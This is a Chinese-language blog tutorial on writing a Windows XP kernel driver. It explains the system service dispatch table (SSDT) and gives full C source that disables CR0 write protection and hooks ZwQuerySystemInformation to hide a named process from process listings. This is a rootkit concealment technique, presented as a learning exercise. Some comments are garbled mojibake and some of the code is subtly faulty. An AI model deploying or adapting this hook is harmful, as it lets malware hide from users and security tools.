第一个
Windows
驱动
Copyright © MikeFeng
开发环境:Windows DDK 3790,VS.Net 2003,DriveStudio 2003
目的:实现对系统服务调度表项的Hook,从而在内核态隐藏进程
这里所说的服务不是windows的services.msc中的服务,而是Windows内核处理系统调用的服务。例如CreateFile,用户态的程序可以直接调用Windows API,但是转到内核之后将会有系统服务表做一个过渡调用NtCreateFile。所谓的系统服务表(System Service dispatch tabe,简称SSDT)只是一个内核函数的地址表,它记录了某个Windows API所调用内核API的地址。
系统服务调度的过程由KiSystemService完成,它将调用者的参数从用户态堆栈中拷贝到核心态堆栈。每个线程都有一个指向SSDT的指针。Windows有两个内建的系统服务表,选择哪个表由KiSystemService根据某些标志位确定。这两个表的名字叫KeServiceDescriptorTable和KeServiceDescriptorTableShadow。前者是比较常用的表,它定义了在/WINDOWS/system32/ntoskrnl.exe中实现的内核函数集地址;而后者包括了常用的USER和GDI服务,它指向的函数集在Win32k.sys实现。系统服务调度指令存在于Ntdll.dll中,子系统DLL通过调用Ntdll中的函数进入内核。但是USER和GDI函数出外,它们直接调用User32.dll和Gdi32.dll进入内核。
纯理论看的头疼。还是来看看驱动的框架吧。首先要搞清出这次写的驱动种类。驱动有用户模式的驱动程序和内核模式的驱动程序。这个驱动属于内核模式的。内核模式的驱动程序有三种:
- 最高层驱动:例如文件系统以及文件系统过滤驱动。也包括为了特殊目的实现的驱动,这些驱动都需要下层驱动的支持
- 中间层驱动:虚拟磁盘,镜像或者指定类型的类驱动程序,例如PnP功能、过滤驱动程序。
- 最底层驱动:当然是指物理硬件驱动了。例如PnP硬件总线驱动程序。写这类驱动要懂硬件,要考虑优化,硬件生产厂商估计需要这样的人才,但是我们基本上没有机会接触。
很明显,这次写的驱动是属于最高层驱动。标准的驱动需要有很多函数,需要处理调度,设备irp等等。但是这次要写的驱动只需要遍历进程表,替换SSDT中一个表项,不需要进行设备IO,因此就省去了设备irp等环节。查询进程信息的内核函数为ZwQuerySystemInformation,因此需要替换SSDT中这个函数的地址,把它指向驱动中对于这个函数的另一种实现。因为需要在驱动中枚举进程,所以需要定义
_SYSTEM_THREADS
结构和
_SYSTEM_PROCESSES
结构。另外还需定义
KeServiceDescriptorTable
以及驱动中函数原型。如下:
#include
"ntddk.h"
#include
"string.h"
#define
IOCTL_EVENT_MSG CTL_CODE( FILE_DEVICE_UNKNOWN, /
0x927, /
METHOD_BUFFERED, /
FILE_ANY_ACCESS)
struct
_SYSTEM_THREADS
{
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER CreateTime;
ULONG WaitTime;
PVOID StartAddress;
CLIENT_ID ClientIs;
KPRIORITY Priority;
KPRIORITY BasePriority;
ULONG ContextSwitchCount;
ULONG ThreadState;
KWAIT_REASON WaitReason;
};
struct
_SYSTEM_PROCESSES
{
ULONG NextEntryDelta;
ULONG ThreadCount;
ULONG Reserved[6];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ProcessName;
KPRIORITY BasePriority;
ULONG ProcessId;
ULONG InheritedFromProcessId;
ULONG HandleCount;
ULONG Reserved2[2];
VM_COUNTERS VmCounters;
IO_COUNTERS IoCounters;
struct _SYSTEM_THREADS Threads[1];
};
typedef
struct _ServiceDescriptorEntry
{
unsigned int *ServiceTableBase;
unsigned int *ServiceCounterTableBase;
unsigned int NumberOfServices;
unsigned char *ParamTableBase;
}ServiceDescriptorTableEntry, *PServiceDescriptorTableEntry;
//ULONG KeServiceDescriptorTable = 0x8055B480;
extern
PServiceDescriptorTableEntry KeServiceDescriptorTable;
typedef
NTSTATUS (*REALZWQUERYSYSTEMINFORMATION)(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength);
REALZWQUERYSYSTEMINFORMATION
RealZwQuerySystemInformation;
NTSTATUS
HookZwQuerySystemInformation(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength);
static
NTSTATUS MydrvDispatch (IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp);
static
NTSTATUS MydrvDispatchIoctl(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp);
VOID
DriverUnload (IN PDRIVER_OBJECT pDriverObject);
驱动入口
DriveEntry
中必须要做的事情有以下几件:
创建设备以及设备的符号链接
(Symbolic link)
;
设定一些回调例程;
保存真实的
ZwQuerySystemInformation
指针,以备恢复时用;
将更改
SSDT
中关于
ZwQuerySystemInformation
函数的指针,让它指向我们自己的函数
HookZwQuerySystemInformation
;
因为有寄存器保护
SSDT
,所以在执行最后两步之前要将保护去掉,更改
SSDT
之后要恢复保护。因此就有了两段汇编。代码如下
NTSTATUS
DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath)
{
UNICODE_STRING nameString, linkString;
PDEVICE_OBJECT deviceObject;
NTSTATUS status;
WCHAR wBuffer[200];
ULONG CR0VALUE;
nameString.Buffer = wBuffer;
nameString.MaximumLength = 200;
DriverObject->DriverUnload = DriverUnload;
RtlInitUnicodeString(&nameString, L"//Device//MyDriver");
status = IoCreateDevice(
DriverObject,
0, // ÎŞÉ豸À©Õ¹
&nameString,
FILE_DEVICE_UNKNOWN,
0,
TRUE,
&deviceObject
);
if (!NT_SUCCESS( status ))
return status;
deviceObject->Flags |= DO_BUFFERED_IO;
RtlInitUnicodeString(&linkString, L"//??//MyDriver");
status = IoCreateSymbolicLink (&linkString, &nameString);
if (!NT_SUCCESS( status ))
{
IoDeleteDevice (DriverObject->DeviceObject);
return status;
}
DriverObject->MajorFunction[IRP_MJ_CREATE] = MydrvDispatch;
DriverObject->MajorFunction[IRP_MJ_CLOSE] = MydrvDispatch;
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = MydrvDispatchIoctl;
__asm{
mov eax, cr0
mov CR0VALUE, eax
and eax, 0fffeffffh
mov cr0, eax
}
RealZwQuerySystemInformation =
(REALZWQUERYSYSTEMINFORMATION)(*(((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase + 0x97));
(REALZWQUERYSYSTEMINFORMATION)*(((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase + 0x97) = HookZwQuerySystemInformation;
__asm{
mov eax, CR0VALUE
mov cr0, eax
}
return STATUS_SUCCESS;
}
下面的函数是对设备
io
的处理。没有什么特别处理,只是一个空壳。
static
NTSTATUS MydrvDispatch (IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)
{
NTSTATUS status;
PIO_STACK_LOCATION irpSp;
UNREFERENCED_PARAMETER(DeviceObject);
//µÃµ½µ±Ç°IRP (I/OÇEó°E
irpSp = IoGetCurrentIrpStackLocation( Irp );
switch (irpSp->MajorFunction)
{
case IRP_MJ_CREATE:
DbgPrint("IRP_MJ_CREATE/n");
Irp->IoStatus.Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0L;
break;
case IRP_MJ_CLOSE:
DbgPrint("IRP_MJ_CLOSE/n");
Irp->IoStatus.Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0L;
break;
}
IoCompleteRequest(Irp, 0);
return STATUS_SUCCESS;
}
下面的函数是对
Device_IO_Control
的支持,也没有什么特殊的处理
static
NTSTATUS MydrvDispatchIoctl(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)
{
PIO_STACK_LOCATION IrpStack;
NTSTATUS status;
ULONG ControlCode;
ULONG InputLength,OutputLength;
TCHAR wInputBuffer[200];
TCHAR OutMsg[] = "Message send by driver";
IrpStack = IoGetCurrentIrpStackLocation(Irp);
ControlCode = IrpStack->Parameters.DeviceIoControl.IoControlCode;
InputLength = IrpStack->Parameters.DeviceIoControl.InputBufferLength;
OutputLength = IrpStack->Parameters.DeviceIoControl.OutputBufferLength;
switch (ControlCode)
{
case IOCTL_EVENT_MSG:
// DbgPrint("IOCTL_EVENT_MSG/n");
RtlCopyMemory(Irp->AssociatedIrp.SystemBuffer, OutMsg, sizeof(OutMsg));
Irp->IoStatus.Status = STATUS_SUCCESS;
OutputLength = sizeof(OutMsg);
Irp->IoStatus.Information = OutputLength;
break;
}
status = Irp->IoStatus.Status;
IoCompleteRequest(Irp, 0);
return status;
}
驱动卸载函数,必须恢复对
SSDT
所做更改。坚决反对不能恢复的太监流氓软件!!
具体做的内容很简单,就是删除符号链接,删除设备对象,恢复
SSDT
。
VOID
DriverUnload (IN PDRIVER_OBJECT pDriverObject)
{
UNICODE_STRING nameString;
RtlInitUnicodeString(&nameString, L"//??//MyDriver");
IoDeleteSymbolicLink(&nameString);
IoDeleteDevice(pDriverObject->DeviceObject);
(REALZWQUERYSYSTEMINFORMATION)*(((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase + 0x97) = RealZwQuerySystemInformation;
return;
}
最关键的是对于
ZwQuerySystemInformation
的
hook
函数的实现:
NTSTATUS
HookZwQuerySystemInformation(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength)
{
NTSTATUS rc;
UNICODE_STRING process_name;
RtlInitUnicodeString(&process_name, L"xdict.exe");
rc = (RealZwQuerySystemInformation) (
SystemInformationClass,
SystemInformation,
SystemInformationLength,
ReturnLength);
if(NT_SUCCESS(rc))
{
if(5 == SystemInformationClass)
{
struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
struct _SYSTEM_PROCESSES *prev = NULL;
if(curr->NextEntryDelta)((char *)curr += curr->NextEntryDelta);
while(curr)
{
if (RtlCompareUnicodeString(&process_name, &curr->ProcessName, 1) == 0)
{
if(prev)
{
if(curr->NextEntryDelta)
{
prev->NextEntryDelta += curr->NextEntryDelta;
}
else
{
prev->NextEntryDelta = 0;
}
}
else
{
if(curr->NextEntryDelta)
{
(char *)SystemInformation += curr->NextEntryDelta;
}
else
{
SystemInformation = NULL;
}
}
if(curr->NextEntryDelta)((char *)curr += curr->NextEntryDelta);
else
{
curr = NULL;
break;
}
}
if(curr != NULL)
{
prev = curr;
if(curr->NextEntryDelta)((char *)curr += curr->NextEntryDelta);
else curr = NULL;
}
} // end while(curr)
}
}
return rc;
}
其中“
xdict.exe
”是金山词霸的进程名,在这里没有任何其他意思,就是举个例子,哈哈。我们要隐藏的就是金山词霸的进程。这个函数的大段代码都是对于系统进程链表的维护,如果查到是
xdict.exe
那么将其从系统进程链表中抹去,同时设定好
prev
和
next
指针,如果被查询的进程名不是
xdict.exe
,那么将不会有任何其他操作。
这个程序只能在
xp
下运行,没有考虑过多
cpu
问题。使用
DDK3790
编译,生成
.sys
文件。使用
softice
动态加载即可进行调试,或者使用第三方软件动态加载卸载。